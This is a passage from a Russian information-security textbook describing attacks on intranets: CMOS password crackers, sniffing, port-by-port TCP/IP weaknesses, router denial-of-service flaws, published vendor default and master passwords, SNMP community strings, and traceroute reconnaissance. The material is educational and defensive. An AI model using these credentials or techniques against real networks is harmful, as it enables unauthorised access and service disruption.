Известен ряд программ для взлома пароля CMOS, которые начинают работать после загрузки ОС. К этой категории средств, применяемых злоумышленниками, могут быть отнесены следующие программы: Amedecod - для American Megatrend BIOS; АМЕСОМ - для AMI CMOS; AW.COM - для Award BIOS. Ввод пароля уже не требуется после отключения элемента питания CMOS или сброса пароля специальным переключателем.
В большинстве систем подобная деятельность, связанная с подбором пароля пользователя, будет порождать многочисленные сообщения об ошибках в различных системных файлах регистрации и на консоли хоста, так что, вероятнее всего, она будет замечена и пресечена. Конечно же, есть программы для обнаружения удаленного подбора паролей в системе. Например, программа Merlin, разработанная организацией CIAC DOE [50]. Она устанавливается только на ПК с Unix-платформой и используется для обнаружения подбора паролей в отношении следующих ОС- IRIX, Linux, SunOS, Solaris, iff-UX. Однако если вторжение пройдет незамеченным и злоумышленник получит доступ к системе, ему легко будет соответствующим образом отредактировать эти файлы и замести все следы своих многочисленных попыток входа в систему.
Перехват незащищенного трафика
Перехват трафика может осуществляться в различных местах интранета.
1.	Общедоступная среда. На традиционном Ethernet можно разместить перехватчик (сниффер), чтобы перехватывать весь трафик в данном сегменте- В настоящее время это становится все более и более трудным, так как многие организации используют коммутируемые сети, состоящие из многих сегментов, но и для них известны такие перехватчики.
198
Информационная безопасность открытых систем
2.	Перехват на сервере. Однако в коммутируемых сетях можно установить сниффер на сервере, тем самым получая доступ ко всей циркулирующей в сети информации. Например, можно не знать пароля определенного пользователя, но перехват пароля, передаваемого по протоколу Telnet, позволяет получить доступ к удаленного узлу.
3.	Удаленный перехват. В больших сетях можно получить много интересной информации, даже не имея возможности "прослушивать" весь трафик (например, в случае доступного RMON). Для удаленного перехвата может использоваться локальная сеть или какой-либо другой коммуникационный канал (типа модемной связи с системой Unix, выступающей в роли сервера удаленного доступа). Существует четыре реальных метода для удаленного перехвата через систему защиты Unix по протоколу TCP/IP. Это проникновение через службу, находящуюся в состоянии ожидания запросов (например, TCP/UDP); использование в качестве плацдарма Unix-системы, обеспечивающей безопасность двух или более сетей; применение методов удаленного взлома, подразумевающих скрытое вовлечение пользователей (созданный с преступным умыслом специальный веб-узел типа www.evilhacker.org, электронная почта со вложенным "троянским конем" и т. д.) и использование процесса или программы, переводящих сетевой адаптер в режим неупорядоченной обработки пакетов.
Недостатки протоколов
Семейство протоколов TCP/IP, широко используемое в настоящее время при построении открытых сетей, разрабатывалось в качестве основы информационного взаимодействия вычислительных систем более 20 лет назад. Базовые механизмы информационного обмена в сетях TCP/IP были в целом сформированы к началу 80-х гг. и направлены прежде всего на обеспечение доставки пакетов данных между различными ОС с использованием разнородных каналов связи. Несмотря на финансовую поддержку создания протоколов TCP/IP со стороны Управления перспективных исследований (ARPA) МО США, Интернет фактически зародился в исследовательском сообществе и наследовал традиции открытости академического мира. Еще в 1989 г. Стивен Белловин, авторитетный исследователь из компании AT&T Research, в своей ставшей классической работе "Проблемы безопасности стека протоколов TCP/IP" [51] указал основные уязвимости базовых механизмов межсетевого взаимодействия. Основные концепции протоколов TCP/IP не полностью удовлетворяют (а по ряду требований, и противоречат) современным представлениям об ИБ. Это находит свое отражение в атаках, использующих уязвимости базовых протоколов сети Интернет. Самая большая проблема состоит в том, что сам протокол IP очень "доверчив": злоумышленники могут подделывать и безнаказанно подменять данные IP. Кроме того, имеются типичные слабости реализации стека протоколов TCP/IP, наследуемые современными ОС.
Когда говорят о слабостях стека протоколов TCP/IP, то имеют в виду не что-то абстрактное, а вполне конкретное - это слабости реализации TCP/IP в конкретной ОС.
Напомним основные протоколы, входящие в группу TCP/IP.
ARP (Address Resolution Protocol) - протокол разрешения МАС-адресов (адресов доступа к среде, Media Access Control), использующий широковещательные рассылки для определения соответствия между Интернет-адресами (сетевыми адресами) и МАС-адресами; протокол RARP (Reverse Address Resolution Protocol) выполняет обратную операцию.
3. Уязвимость открытых систем на примере интранета
199
IP (Internet Protocol) - протокол межсетевого обмена (Интернет-протокол).
ICMP (Internet Control Message Protocol) - протокол обмена управляющими сообщениями, используемый в протоколах маршрутизации для обмена служебными сообщениями.
FTP (File Transfer Protocol) - протокол передачи файлов между конечными системами.
RPC (Remote Procedure Call), XDR (External Data Representation), NFS (Network File System) - сервисы распределенной файловой системы.
SMTP (Simple Mail Transfer Protocol) - протокол передачи почтовых сообщений.
SNMP (Simple Network Management Protocol) - протокол управления малыми сетями, который применяется для управления достаточно большими локальными, кам-пусными и региональными сетями.
TCP (Transmission Control Protocol) - протокол транспортного уровня, обеспечивающий дуплексный обмен, установление соединений и их контроль.
Telnet - протокол эмуляции терминала для удаленного доступа к системам.
UDP (User Datagram Protocol) - протокол пользовательских дейтаграмм, являющийся упрошенным протоколом транспортного уровня и не имеющий средств управления соединениями; формат заголовка содержит только поля портов отправителя и получателя.
Сначала Интернет использовался в основном для обработки информации по относительно простым протоколам: электронной почте, передаче файлов, удаленному доступу. Сегодня благодаря широкому распространению веб-технологий активно применяются средства распределенной обработки мультимедийной информации. Одновременно с этим растет объем данных, обрабатываемых в средах клиент-сервер и предназначенных для одновременного коллективного доступа большого числа абонентов. Разработано несколько протоколов прикладного уровня, обеспечивающих ИБ таких приложений, как электронная почта (РЕМ, PGP, S/MIME и т. п.), "Всемирная паутина" - WWW (Secure HTTP, SSL и т. п.), сетевое управление (SNMP и т. п.). Однако наличие средств обеспечения безопасности в базовых протоколах семейства TCP/IP позволит осуществлять информационный обмен между широким спектром различных приложений и сервисов.
По различным статистическим исследованиям, наиболее распространными примерами атак, возникающих из-за слабостей TCP/IP, могут служить:
	отказ в обслуживании (DoS);
	слабые пароли;
	атаки на MS Internet Information Server;
	атаки на базы данных (Oracle и MS SQL);
	атаки на приложения электронной коммерции;
	атаки на электронную почту;
	атаки на разделяемые ресурсы (NetBIOS и NFS);
	атаки на RPC;
	атаки на BIND;
	переполнение буфера;
	сканирование сетевых сервисов;
	атаки на веб-серверы;
	поиск анонимных серверов;
200
Информационная безопасность открытых систем
	отсоединение по недоступности адреса в протоколе ICMP;
	IP-спуффинг (spoofing);
	SYN-бомбардировка (flooding).
В связи с этим можно выделить уязвимости, характерные для отдельных приложений, поддерживаемых протоколами семейства TCP/IP, и соответствующих им портов. (Уязвимости некоторых из ниженазванных служб и конкретные атаки на них подробно рассмотрены далее в этой и следующей главах.)
Порт 7 службы echo связан с коммуникационным модулем, передающим обратно источнику отличный от запроса ответ. Эхо-сообщение, приходящее обратно на главный компьютер, предназначено для тестирования сетевых соединений. Основная утилита, использующая данный сервис, называется PING (Packet Internet Groper). Основной особенностью службы "эхо" является обработка длинных пакетов. Один из вариантов перегрузки службы "эхо" ("Ping of Death" Attack) заключается в посылке пакета с длиной более 65 536 байт, что вынуждает систему обрабатывать такой пакет неправильно, в результате чего она "зависает" или перегружается. Другой вариант атаки - это "Ping Flooding". Поскольку компьютер обязан ответить на запрос, при его непрерывной "бомбардировке" эхо-запросами происходит перегрузка системных ресурсов или создается "затор" в сегменте сети.
Порт 11 отвечает за службу systat, которая была спроектирована для отображения текущего состояния ОС. По существу, демон, связанный с данной службой, знает, какое ПО применяется в данный момент и какие пользователи работают в системе.
Порт 19 и связанный с ним демон chargen выглядят вполне безопасными. Основная операция данной службы понятна из ее названия - character stream generator (генератор символьного потока). Служба уязвима, например, для Telnet-соединения с портом 53 службы DNS. В этом случае поток символов вызовет ошибку доступа к службе DNS, работа которой будет аварийно завершена, и будет нарушена работа разрешения имен.
Порты 20 и 21 обслуживают протокол передачи файлов FTP. При передаче файлов по FTP одновременно используются два соединения. Передача данных производится через порт 20. Управляющие соединения команды и отклики на них передаются через порт 21, который известен как порт управления соединением. Протокол FTP включает в себя возможности копирования, изменения и удаления файлов и каталогов.
Порт 23 соответствует службе Telnet. Работая поверх TCP/IP, она действует как эмулятор терминала для удаленного сеанса работы. В зависимости от установленных параметров защиты демон может предоставлять некоторые возможности управления доступом к ОС. Загрузка специфического скрипта злоумышленника для определенных вариантов Telnet может вызвать, например, переполнение буфера, что в некоторых случаях приводит к получению прав доступа администратора.
Порт 25. Для передачи почты наиболее часто используется протокол Simple Mail Transfer Protocol (SMTP). Демон SMTP в ожидании входящей почты по умолчанию прослушивает порт 25, а затем копирует сообщения в соответствующий почтовый ящик. Если сообщение не может быть доставлено, отправителю посылается сообщение об ошибке, содержащее первую часть не доставленного по назначению сообщения. После установки TCP-соединения с портом 25 машина-отправитель действует как клиент, ожидая от машины-получателя, работающей в качестве сервера, строку текста, содержащую идентификатор и сообщение о готовности получить почту. Кон
3. Уязвимость открытых систем на примере интранета
201
трольная сумма при этом не используется. Когда обмен письмами закончен, соединение закрывается. Среди наиболее часто встречающихся проблем безопасности данного протокола следует отметить "почтовую бомбардировку" (почтовые бомбы могут представлять собой одно сообщение с приложенным к нему файлом огромного размера) и спэм (когда сообщения отправляются, например, с целью "забить" почтовый ящик или сервер).
Порт 53 отвечает за службу доменных имен (Domain Name Service, DNS). Доменным именем называется символьный описатель, который идентифицирует один или более IP-адресов. Эта служба существует только потому, что символьные доменные имена легче для запоминания, чем IP-адреса. DNS преобразует доменные имена в IP-адреса, и наоборот. Злоумышленник может реализовать подмену имен DNS (DNS spoofing). Подмена имен кеширующих DNS-серверов дает атакующему возможность перенаправлять посетителей не на тот хост, куда пользователь хочет попасть. Другой популярный вид атак на демоны DNS-серверов является DoS-атакой, делающей невозможной работу с данной службой.
Порт 67. Протокол bootp позволяет бездисковым рабочим станциям получать свои собственные IP-адреса. Такие адреса генерируются сервером bootp на основании аппаратного адреса (МАС-адреса) рабочей станции. Основной слабостью протокола bootp является то, что он работает с модулем ядра ОС, восприимчивым к атакам на переполнение буфера (приводит к "зависанию" системы). Хотя большинство известных случаев атак производились на локальных машинах, многие старые системы продолжают работать и оставаться уязвимыми к подобным атакам через Интернет.
Порт 69 отвечает за службу tftp (Trivial File Transfer Protocol), которая работает как упрощенный вариант протокола FTP. TFTP часто используется для загрузки специализированных сетевых ОС (Internetworking Operation System, IOS) в маршрутизаторы и коммутаторы. Пакеты TFTP не имеют средств аутентификации. В результате в многочисленных вариантах демона через Интернет для дальнейшей расшифровки можно скопировать такой файл, как, например, /etc/passwd (файл паролей в Unix-системах). Имея информацию о пользовательских именах, злоумышленник может попробовать подобрать пароль. Многие последние версии TFTP по умолчанию настроены таким образом, что разрешают доступ только к каталогу /tftpboot. Однако и это может угрожать безопасности. Например, злоумышленник может найти в нем важные конфигурационные файлы маршрутизаторов, имена которых обычно имеют вид <HMfl_y3na_MapmpyTH3aTopa>.cfg. Во многих случаях взломщик также сможет получить доступ к паролям маршрутизатора и строкам доступа SNMP. Встречались целые сети, взломанные в течение нескольких часов с помощью подключения к незащищенному TFTP-серверу и получения от него конфигурационных файлов маршрутизаторов. Как правило, эти сведения оказываются идентичными для каждого сетевого устройства. Защититься помогает реализация механизма управления доступом на уровне всей сети в целом и на уровне отдельных узлов, который запрещал бы НСД к TFTP-серверу.
Порт 79 связан со службой finger. Из почтовой учетной записи можно извлечь полезную для злоумышленника информацию о пользователях. Несмотря на то что эта информация будет различаться в зависимости от демона, особенностей конкретной учетной записи или ОС, протокол finger всегда сообщит, работает ли в данный момент пользователь, соответствующий данной учетной записи, или нет. Некоторые
202
Информационная безопасность открытых систем
системы дополнительно сообщают полное имя пользователя, его адрес и/или телефонный номер. Протокол finger относительно прост: клиент активизирует порт и посылает в сеть запрос на подключение (login). Сервер обрабатывает запрос, возвращает ответ и закрывает соединение.
Порт 80. Протокол HTTP является основным протоколом для службы Web. Он определяет, каким образом форматируются и передаются сообщения. HTTP является "простым" протоколом - каждая команда выполняется немедленно, без учета предыдущих. Примером работы демона, реализующего данную службу, является обработка введенного в браузере адреса веб-узла (URL). В этот момент HTTP-команда пересылается веб-серверу, который ее обрабатывает. В ответ браузеру передается запрошенная веб-страница. Из-за уязвимости данного демона возможен взлом вебстраницы (deface).
Порты 109 и 110 соответствуют службам рор2 и рорЗ соответственно. Протокол POP (Post Office Protocol) используется для получения почты от демона почтового сервера. Исторически возникший первым рор2 требует наличия демона SMTP-сервера, в то время как рорЗ может работать самостоятельно. Протоколы POP основаны на технологии клиент-сервер, в которой электронная почта приходит и хранится на почтовом сервере до тех пор, пока клиент не заберет адресованные ему сообщения. Большинство веб-браузеров, такие, как Netscape Navigator или MS Internet Explorer, имеют встроенную реализацию протокола РОРЗ. Ошибки в реализации протокола POP позволяют удаленно войти в систему и перенаправить протокол Telnet через порт 110 напрямую в ОС, на которой работает демон. Это будет работать, даже если изменить пароль РОРЗ учетной записи данного пользователя. Другая "дыра" в защите открывается в момент обследования при перенаправлении Telnet на порт 110 целевой почтовой системы, которая может дать доступ к важной информации.
Порты 137, 138 и 139 отвечают соответственно за службы nbname, nbdatagram и nbsession. Порт 137 используется как альтернатива службе DNS и иногда называется службой имен WINS или NetBIOS. Узлы, на которых работает протокол NetBIOS поверх TCP/IP, в целях разрешения имен используют передачу UDP-пакетов через UDP-порт 137. Служба nbname применяется для широковещательного разрешения имен, nbdatagram - для широковещательного обмена другой информацией по указанным протоколам, a nbsession начинает использоваться с момента установления сеанса связи. Одна из уязвимостей состоит в том, что при этом нет средств аутентификации. Любой компьютер может в любое время ответить на широковещательный запрос, даже если он исходит от подмененного имени.
Порты 161 и 162 соответствуют службам snmp и snmp-trap. Протокол SNMP (Simple Network Management Protocol) используется для управления сетевыми устройствами. Его работа основана на сообщениях - "элементах данных протокола" (Protocol Data Units, PDU), рассылаемых различным компонентам сети. Компоненты, которыми управляет SNMP, называют агентами. Агенты записывают информацию о себе в информационную базу данных (Management Information Base, MIB) и предоставляют эти данные в ответ на запрос. UDP-порт 162 является портом-получателем извещений, прослушивающим сообщения SNMP. Этот порт используется только для того, чтобы посылать и получать сообщения о событиях. Интерактивный характер соединений, устанавливаемых между данными портами, делает их привлекательными мишенями для зондирования и переконфигурации.
3. Уязвимость открытых систем на примере интранета
203
Порт 512 используется функцией гехес() для удаленного вызова процедур. Когда порт активен и находится в состоянии прослушивания событий, часто нет такого удаленного сервера, который был бы сконфигурирован для автоматического выполнения такого вызова. Как правило, предполагается, что работает система X Window. Без соответствующей защиты управление отображением окон и все действия пользователя с клавиатурой могут быть перехвачены, а программы могут запускаться на выполнение удаленно. В частности, если на компьютере-жертве работает демон данной службы и служба Telnet связана с портом 6000, то для успешной DoS-атаки с целью блокировки системы все готово. UDP-порт 512 (biff) используется почтовыми системами для уведомления пользователей, что также может сыграть на руку злоумышленнику
Порты 513 и 514 отвечают соответственно за службы login (tcp)/who (udp) и shell (tcp)Zsyslog (udp). Они считаются "привилегированными" и поэтому являются объектами атак с целью подмены адресов на многих Unix-системах. Порт 514 также используется командой rsh, работающей в качестве интерактивной оболочки без входа в систему. Работая одновременно, названные службы говорят о наличии активного демона X Window. Как часть внутренней системы регистрации пользователей порт 514 (удаленный доступ через защитные барьеры) открывает возможности для ряда DoS-атак (данная потенциальная уязвимость может быть проверена UDP-сканированием).
Порты 517 и 518. Демоны переговоров между Unix-станциями в реальном времени являются интерактивными коммуникационными программами (порт 517 - служба talk, порт 518 - служба ntalk). Они обычно состоят из клиента и сервера и практически во всех реальных ситуациях могут быть активны на одной и той же системе одновременно. В большинстве случаев демоны более нового протокола, связанного с портом 518, совместимы со старыми версиями. Хотя они кажутся безопасными, на самом деле это далеко не так, поскольку данные соединения устанавливаются при помощи TCP-соединения через случайный порт.
Порт 520 отвечает за службу route (udp). Процесс динамической маршрутизации выполняется, когда маршрутизаторы, "переговариваясь" с соседними, информируют друг друга о тех сетях, о которых каждый из них осведомлен. Маршрутизаторы общаются между собой при помощи маршрутизирующего протокола, служба которого опирается на демон маршрутизации. В зависимости от протокола информация, передаваемая в различных направлениях от маршрутизатора к маршрутизатору, "выставляется" на различных портах. Один из наиболее часто применяемых протоколов RIP (Routing Information Protocol) работает с портом 520. Ряд других протоколов также работает с этим портом. Критическую информацию о топологии можно перехватить, исследую цель с помощью анализатора.
Порты 543, 544 и 750. Служба, основанная на использовании этих портов, является системой аутентификации Kerberos. Она предоставляет возможность двум сторонам обмениваться приватной информацией поверх открытых или незащищенных сегментов сети. По существу, протокол присваивает уникальный ключ, или билет, каждому пользователю. Такой билет вкладывается в каждое сообщение для идентификации и аутентификации. Без соответствующей техники фильтрации данные порты являются уязвимыми для удаленных атак, включая переполнение буфера, подмену адресов, маскированные сессии и взлом билетов.
204
Информационная безопасность открытых систем
Изменяющаяся природа Интернета приводит к устареванию концепций традиционных протоколов семейства TCP/IP. Современная среда межсетевого взаимодействия должна обеспечивать передачу информации в режиме реального времени, иметь средства контроля загрузки каналов передачи данных, предоставлять механизмы защиты информации. Базовые протоколы семейства TCP/IP не удовлетворяют ни одному из этих требований. Поэтому в результате усилий тематической группы по технологии Интернета (IETF) и группы управления технологией Интернет (IESG) был разработан протокол, получивший название IPv6 [http://www.ipv6.ru/]. Он включает следующие возможности, отсутствующие у IPv4.
Расширенное адресное пространство-. IPv6 использует 128-битовые адреса вместо 32-битовых IPv4. В результате адресное пространство увеличивается в 296раз, что явно достаточно даже в случае неэффективного распределения сетевых адресов.
Улучшенные возможности маршрутизации-, в связи с увеличением межсетевого трафика, связанного с обработкой больших объемов мультимедийной информации и расширением использования Интернета в различных сферах деятельности, весьма существенной является необходимость обеспечения высоких скоростей маршрутизации. Без применения эффективных алгоритмов обработки пакетов данных становится невозможным повысить скорость работы маршрутизаторов до уровня, сравнимого со скоростью передачи информации по каналам связи.
Управление доставкой информации: IPv6 позволяет отмечать соответствие конкретного пакета определенным условиям его передачи, заданным отправителем. В результате достигается регулирование скорости передачи определенных потоков данных, что позволяет обеспечивать эффективную поддержку специальных протоколов (например, видео в режиме реального времени и др.). За счет назначения приоритетов передачи данных по определенным протоколам появляется возможность гарантировать первоочередность обработки наиболее критической информации и предоставления важным данным всей полосы пропускания канала связи. Другие особенности, имеющиеся у IPv6, позволяют протоколам этого семейства обеспечивать одновременную многоадресную доставку информации, что находит свое применение в рассылке информации "по подписке" или "по требованию" и других приложений.
Новый механизм конфигурации хостов: IPv6 поддерживает как традиционные способы конфигурации хостов (ручной и с использованием протокола DHCP), так и новые, не требующие участия DHCP-сервера (тогда хост может определить собственную конфигурацию, основываясь на информации о настройках ближайшего маршрутизатора либо используя конфигурацию по умолчанию).
Новый протокол взаимодействия с соседними хостами: протокол обнаружения соседних хостов (Neighbor Discovery Protocol) представлет собой набор ICMP-сообщений, который регламентирует процесс взаимодействия хоста с его соседями (этот протокол заменяет протоколы ARP, ICMPv4 Router Protocol и ICMPv4 Redirect).
Средства обеспечения безопасности: IPv6 предоставляет возможности защиты от атак, связанных с подменой исходных адресов пакетов, и от НСД к полям данных пакетов. Данные возможности достигаются за счет применения алгоритмов аутентификации и шифрования.
Именно за этим протоколом, как считают специалисты, будущее.
3. Уязвимость открытых систем на примере интранета
205
Уязвимость каналообразующего оборудования
Узлы коммутации сетей представляют для злоумышленников [52]:
1) инструмент маршрутизации сетевого трафика;
2) необходимый компонент работоспособности сети.
В отношении первой цели получение доступа к таблице маршрутизации позволяет изменить путь потока возможной конфиденциальной информации в интересующую злоумышленника сторону. Дальнейшие его действия могут быть подобны атаке на DNS-сервер. Достичь этого можно либо непосредственным администрированием, если злоумышленник каким-либо образом получил права администратора (чаще всего узнал пароль администратора или воспользовался несмененным паролем по умолчанию). В этом плане возможность удаленного управления устройствами коммутации не всегда благо: получить физический доступ к устройству, управляемому только через физический порт, гораздо сложнее.
Либо же возможен второй путь атаки с целью изменения таблицы маршрутизации. Он основан на динамической маршрутизации пакетов, включенной на многих узлах коммутации. В таком режиме устройство определяет наиболее выгодный путь отправки конкретного пакета, основываясь на истории прихода определенных служебных пакетов сети — сообщений маршрутизации (протоколы ARP, RIP и др.). В этом случае при фальсификации по определенным законам нескольких подобных служебных пакетов можно добиться того, что устройство начнет отправлять пакеты по пути, интересующему злоумышленника, думая, что это и есть самый быстрый путь к пункту назначения.
При атаке класса "отказ в обслуживании" злоумышленник обычно заставляет узел коммутации либо передавать сообщения по неверному, "тупиковому" пути, либо вообще перестать передавать сообщения. Для достижения второй цели обычно используют ошибки в ПО, запущенном на самом маршрутизаторе, с целью его "зависания". Так, например, совсем недавно было обнаружено, что целый модельный ряд маршрутизаторов одной известной фирмы при поступлении на его IP-адрес довольно небольшого потока неправильных пакетов протокола TCP либо перестает передавать все остальные пакеты до тех пор, пока атака не прекратится, либо вообще зацикливается.
Маршрутизаторы - это важные составные части современной компьютерной инфраструктуры, выполняющие функции соединения сетей и передачи между ними трафика. Они работают на третьем, сетевом уровне модели OSI и используют одну или более метрик для определения оптимального пути передачи сетевого трафика на основании информации сетевого уровня. От правильного выбора маршрутизатора и правильной его настройки во многом зависит качество работы в интранете, как с точки зрения доступа из него в глобальную сеть, так и наоборот. Основная функция маршрутизаторов - обработать каждый пакет, полученный от одной из сетей, к которым он подключен, и передать пакет дальше в пункт его назначения через другую сеть. Аппаратная конструкция маршрутизаторов относительно проста и состоит из сетевых интерфейсов, административных или консольных портов и вспомогательных портов для управления через такие устройства, как модемы. Когда пакеты приходят на сетевую интерфейсную плату маршрутизатора, они размещаются в очереди на обработку. Во время обработки маршрутизатор обновляет и обслуживает таблицу маршрутизации, одновременно проверяя заголовок пакета для принятия решения - вое-
206
Информационная безопасность открытых систем
принять пакет и переслать его далее на основании политики маршрутизации или отвергнуть на основании политики фильтрации. Одновременно выполняются следующие функции протокола TCP: процедура установления соединения, организация окна передачи, буферизация, подавление источника и контроль ошибок. С другой стороны, маршрутизатор — это тот участок, который отделяет интранет от внешнего мира, и с этой позиции к нему предъявляются особые требования по защите. Именно поэтому в подавляющем большинстве современных маршрутизаторов, помимо функций их прямого назначения, реализованы те или иные функции по защите сетей. Но известны уязвимости, которые могут сделать маршрутизаторы, установленные в сетях, доступными для нарушителей или которые, возможно, могут позволить хакерам проникнуть в структуру самой сети. Использовать уязвимости можно, направив на маршрутизатор определенным образом сформированный набор пакетов. Эти пакеты могут вызвать сбой в ПО маршрутизаторов, который приводит к отказу устройств обслуживать запросы и, например, нарушает доступ к некоторым хостам.
Уязвимости могут возникнуть, например, из-за ошибок в ОС. Так было с IOS для маршрутизаторов Cisco Systems Inc. Очередь на интерфейсе ошибочно помечалась как полная, что приводило к прекращению обработки входящего трафика.
Вторая причина - это уязвимости переполнения буфера в IP-стеке маршрутизатора. Пример - маршрутизатор LG Electronics LR3001f, который поддерживает удаленное администрирование по 23/tcp (telnet) и 80/tcp (www) портам. Первая уязвимость приводит к тому, что посылка большого потока данных на один из вышеприведенных портов приводит к перезагрузке маршрутизатора. Вторая уязвимость обнаружена в процессе проверки пароля при работе с Telnet. В данном случае большой поток данных также приведет к перезагрузке маршрутизатора. Уязвимы все версии по 4.0 включительно. Что-то похожее было и с маршрутизатором Rapier24: при отправке потока нулей на его открытые порты переставал работать интерфейс управления и возникали серьезные проблемы с маршрутизацией.
К атакам могут также приводить и ошибки конфигурации. Например, для автоматизации процесса оценки правильности настройки маршрутизатора Cisco возможно применение такой программы, как Router Audit Tool [http://www.cisecurity.org/], которая может сверить конфигурацию маршрутизатора с набором правил, содержащихся в руководстве NSA Router Security Configuration Guide.
На разных моделях Cisco неоднократно обнаруживали различные пароли, используемые по умолчанию для доступа с виртуального терминала vty, включая такие легко угадываемые, как cisco и cisco routers. Кроме того, на некоторых моделях были также обнаружены установленные по умолчанию пароли. Наконец, в моделях Cisco 2600, произведенных до 24 апреля 1998 г., по умолчанию использовался пароль, состоящий из одной буквы с. Решает названные проблемы простая установка службы шифрования паролей (service password-encryption).
Некоторые маршрутизаторы фирмы Intel Express уязвимы для удаленного анализа фрагментированными пакетами ICMP или пакетами ICMP, имеющими размер больше предельного. В результате злоумышленник может получить неавторизованный доступ и/или вывести систему из строя (DoS-атака). В обоих случаях взлом может выполняться удаленно.
Фирма ЗСОМ [http://www.3com.com] разрабатывает решения для построения защищенного удаленного доступа, сетей интранета и экстранет предприятий средних
3. Уязвимость открытых систем на примере интранета
207
размеров. Но возможны DoS-атаки "nestea" и "1234" на системы, построенные на основании плат Hiper ARC версии 4.1.11/х, в результате чего система выходит из строя. Эти же системы потенциально уязвимы для НСД из-за использования adm по умолчанию. Ряд систем с платами Total Control NETServer Card V.34/ISDN c FrameRelay V.3.7.24.AIX3.2, используемыми в терминальных серверах, из-за уязвимости фильтрации соединений по телефонным каналам предоставляли НСД. Все маршрутизаторы CoreBuilder 2500, 3500, 6000, 7000, а также все коммутаторы SuperStack 2200, 2700, 3500, 9300 производства ЗСОМ уязвимы к неавторизованной конфигурации с мастер-паролями (master key password), опубликованными после кражи в Интернете. Например, для CoreBuilder 6000/2500 и SuperStack II Switch 2200 login: debug, password: synnet; для CoreBuilder 7000 и SuperStack II Switch 2700 login: tech, password: tech. Эти пароли были введены для использования в случае таких непредвиденных обстоятельств, как утрата пароля.
Для локальных и глобальных сетей, многосервисных платформ, экстранет-решений, передачи голоса и данных широко используются маршрутизаторы фирмы Nortel Networks [http://www.nortelworks.com]. Nortel также предлагает шлюзы доступа для малых офисов и домашних пользователей. Маршрутизаторы Nortel/Bay частично уязвимы для "наводнения" эхо-запросами. При нападении используется программа, с помощью которой генерируется трафик эхо-пакетов ICMP с широковещательными адресами и адресом жертвы в качестве отправителя. В большом сегменте сети сотни компьютеров могут ответить на каждый пакет, а потом ответить на ответ и так далее, создавая мощный широковещательный "шторм" и польностью "затопляя" сеть пакетами. Также маршрутизаторы Bay Networks по умолчанию предоставляют доступ как для чтения, так и для записи по протоколу SNMP, контролируемый на уровне пользователей. Для этого достаточно попытаться употреблять установленное по умолчанию пользовательское имя User без пароля. В командную строку маршрутизатора вводится команда "show snmp comm types", позволяющая просматривать имеющиеся строки доступа. То же самое с помощью диспетчера Site Manager может проделать любой пользователь (команда Protocols->IP->SNMP->Communities).
Фирма Ascend [http://www.ascend.com] после объединения с Lucent Technologies [http://www.lucent.com] поставляет устройства доступа для организаций, нуждающихся в тесной интеграции защищенной внутренней сети, используемой для внутренней обработки данных, и внешнего доступа к файлам через веб-узлы, FTP-серверы и т. п. Сетевая ОС маршрутизаторов Ascend Pipeline и МАХ имеет недостаток в защите, проявляющийся в полном отказе системы при обработке определенным образом измененных UDP-пакетов (так называемая атака искаженными UDP-дейтаграммами*). Конфигурацию этих устройств можно изменить с помощью программы, производящей поиск маршрутизаторов в сети при помощи специальных UDP-пакетов. Названные маршрутизаторы прослушивают широковещательный трафик (в том числе и UDP-пакеты, адресованные порту 9 службы discard) и отвечают пакетом, содержащим свое имя. Посылая измененный определенным образом пакет на данный порт маршрутизатора, нападающий может вызвать его "зависание". При атаке Pipeline Password Congestion одновременная установка нескольких сеансов связи со службой Telnet может привести к превышению лимита их количества и стать
* Дейтаграмма, один из двух возможных способов межкомпьютерного обмена данными, -это сообщение, которое не требует подтверждения о приеме от принимающей стороны.
208
Информационная безопасность открытых систем
причиной отказа от дальнейших попыток создания новых сеансов. Нападающий может также удаленно перегрузить устройство Ascend МАХ версии 5.0.x, установив сеанс связи по протоколу Telnet через порт 150 и посылая TCP-пакеты с ненулевым смещением. Кроме того, по умолчанию маршрутизаторы Ascend обеспечивают доступ по протоколу SNMP с помощью строк доступа public (для чтения - read) и write (для чтения и записи - read/write), что впервые было обнаружено специалистами из Network Associates, Inc.
Фильтрующие маршрутизаторы атакуются агрессивными SNMP-сканерами и программами, реализующими метод "грубой силы". Тогда маршрутизатор превращается в мост и НСД в интранете будет открыт. Потом атакующий вычисляет внешние хосты, к которым он получил доступ, и пробует определить степень доверия между интранетом и этими внешними хостами. Защититься от подобных атак можно с помощью установки на внешних хостах программ-оболочек TCP-wrappers, определяющих, что только доверительные пользователи могут связываться с особо важными портами хостов (ftp - 21, ssh - 22, telnet - 23, smtp - 25, named - 53, рорЗ - 110, imap -143, rsh - 514, rlogin - 513, Ipd - 515). Тогда трафик SNMP, named и portmapper будет фильтроваться в зависимости от роли данного хоста в интранете.
Перед сканированием уязвимостей каналообразующего оборудования злоумышленнику нужно его обнаружить и идентифицировать. Процесс обнаружения сетевого устройства не имеет принципиальных различий с методами обнаружения любых других компьютерных систем. Скорее всего взломщик начнет со сканирования портов. Обнаружив открытые порты, он выполнит сбор маркеров и инвентаризацию сетевых ресурсов. Если открыт порт UDP 161, то далее последует попытка использования протокола SNMP, поскольку неправильно настроенные SNMP-устройства очень часто выдают важную информацию о своей конфигурации любому, кто ею заинтересуется.
Для сканирования портов применяются широко известные средства. С помощью, например, утилит traceroute или tracert, входящих в комплект поставки Unix и NT соответственно, можно определить основные маршруты, по которым "ходят" пакеты от одного хоста к другому (внутри или вне интранета). Обладая этой информацией, можно обнаружить очень важный элемент сетевой инфраструктуры - маршрутизатор. Ниже приведен пример работы утилиты traceroute.
[sm@tsunami. sm] $ traceroute www.destination.com
traceroute to www.destination.com (192.168.21.3), 30 hops max, 40 byte packets
1	happy (172.29.10.23) 6.809 ms 6.356 ms 6.334 ms
2	rtr1.internal.net (172.30.20.3) 36.488 ms 37.428 ms 34.300 ms
3	rtr2.internal.net (172.30.21.3) 38.720 ms 38.037 ms 35.077 ms
4	core.externalp.net (10.134.13.1) 49.188 ms 54.787 ms 72.094 ms
5	nj.externalp.net (10.134.14.2) 54.420 ms 64.554 ms 52.191 ms
6	sfo.externalp.net (10.133.10.2) 54.726 ms 57.647 ms 53.813 ms
7	lax-rtr.destination.com (192.168.0.1) 55.727 ms 57.039 ms 57.795 ms
8	www.ciestination.com (192.168.21.3) 56.182 ms 78.542 ms 64.155 ms
Зная, что перед представляющим интерес хостом находится хост 192.168.0.1, можно предположить, что он представляет собой маршрутизатор, управляющий распределением пакетов по хостам сети. Однако знание IP-адреса маршрутизатора не влечет за собой автоматического получения сведений об уязвимостях в его архитектуре и настройке. Далее нужно получить такие сведения, прибегнув к сканированию
3. Уязвимость открытых систем на примере интранета
209
